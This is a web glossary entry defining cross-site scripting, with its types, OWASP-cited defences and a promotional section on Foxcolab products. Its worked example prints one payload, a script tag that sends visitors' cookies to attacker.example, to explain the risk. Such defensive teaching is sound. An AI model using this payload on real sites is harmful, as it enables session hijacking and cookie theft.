Glossary
Cross-site scripting (XSS)
Definition
Cross-site scripting (XSS): A web vulnerability in which an attacker injects a script into a trusted website so it runs in other users' browsers with the site's privileges, able to read session cookies and other data the browser holds for that site (OWASP).
Also known asXSSscript injectionstored XSSreflected XSSDOM-based XSS
In short
Cross-site scripting (XSS) is a web vulnerability that lets an attacker run their own script in other people's browsers as part of a trusted site. The script can read what the browser holds for that site, including session cookies, and act as the user. Context-aware output encoding, HTML sanitizing and safe DOM methods prevent it; a Content Security Policy is the second layer.
Key takeaways
- XSS runs attacker code with the site's own privileges in the victim's browser.
- Stored XSS is saved on the server, reflected XSS rides in a link, DOM-based XSS happens in the page's own JavaScript.
- The worst outcome is a stolen session cookie, which signs the attacker in as you.
- Encode output for its context and sanitize any HTML users can write.
- A Content Security Policy blocks many injected scripts, but OWASP calls it a second layer, not the main fix.
Last reviewed 4 December 2026 by Foxcolab Team
Cross-site scripting (XSS) is a web vulnerability that lets an attacker get their own script to run in other people's browsers as part of a site they trust. OWASP describes it as "a type of injection, in which malicious scripts are injected" into otherwise trusted websites. Because the browser treats the script as the site's own, "the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser" for that site.
The three types#
| Type | Where the script lives | Typical route |
|---|---|---|
| Stored | Saved on the server, in a comment, profile or message | Everyone who views the page runs it |
| Reflected | In a link, echoed back in the page | Whoever clicks the crafted link runs it |
| DOM-based | Written into the page by the site's own JavaScript | Data from the URL or storage reaches an unsafe function |
A worked example#
A support forum at example.com shows comments exactly as typed. An attacker posts this:
<script>fetch("https://attacker.example/c?" + document.cookie)</script>Every visitor's browser runs it as example.com and sends the attacker any cookie that scripts can read. OWASP notes that "the most severe XSS attacks involve disclosure of the user's session cookie," which leads straight to session hijacking.
Defenses that work#
OWASP's prevention cheat sheet puts the weight on the code that writes data into the page:
- Encode output for its context. HTML, attributes, JavaScript, URLs and CSS each need their own encoding, because "browsers parse HTML, JS, URLs, and CSS differently."
- Sanitize HTML with a maintained library whenever users can write formatted text.
- Use safe methods. Set
textContentinstead ofinnerHTML. - Know your framework's gaps. Templates usually escape by default, until someone uses the raw-HTML escape hatch.
A Content Security Policy catches much of what slips through, but OWASP says it "should not be your primary defense mechanism." Marking session cookies HttpOnly keeps them out of reach of document.cookie.
In Foxcolab#
Email is the biggest source of untrusted HTML most people open. Foxcolab Mail on the web cleans every message before showing it, removing scripts, forms and embedded frames, then displays the body in a sandboxed frame where scripts can't run at all. Foxcolab Drive, Docs, Sheets, Notes, Whiteboard and Forms, where your end-to-end encrypted content is decrypted in the browser, send a Content Security Policy that runs only scripts carrying a fresh nonce for that page load, so an injected inline script without it is refused.
For links inside messages, see check suspicious links in Foxcolab Mail. Create a free account.
Keep exploring
Related terms
- Content Security Policy (CSP)A Content Security Policy tells the browser which scripts, frames and connections a page may use, so an injected script doesn't run. Here's a strict policy explained line by line.
- Session cookieA session cookie is either a cookie that disappears when the browser session ends or the cookie that keeps you signed in. Here's what each attribute does and why stolen ones matter.
- Session hijackingSession hijacking is taking over someone's signed-in session by stealing or guessing the token that keeps them logged in. It skips the password and two-step verification entirely.
- SQL injectionSQL injection lets input change the database query an application runs, so an attacker can read, change or delete data. Here's a worked example and the fix.
- Cross-site request forgery (CSRF)Cross-site request forgery tricks your browser into sending a request to a site where you're signed in, so the site acts on it as if you meant it. Here's how it works and how sites stop it.
- Same-origin policyThe same-origin policy stops a web page from reading data that belongs to another origin. Here's what counts as an origin, what the rule blocks, and where cookies differ.
Where Foxcolab uses it

Foxcolab
Private work tools, without the ads.
Mail, files, documents, spreadsheets and meetings in one account. Files, documents and spreadsheets are end-to-end encrypted.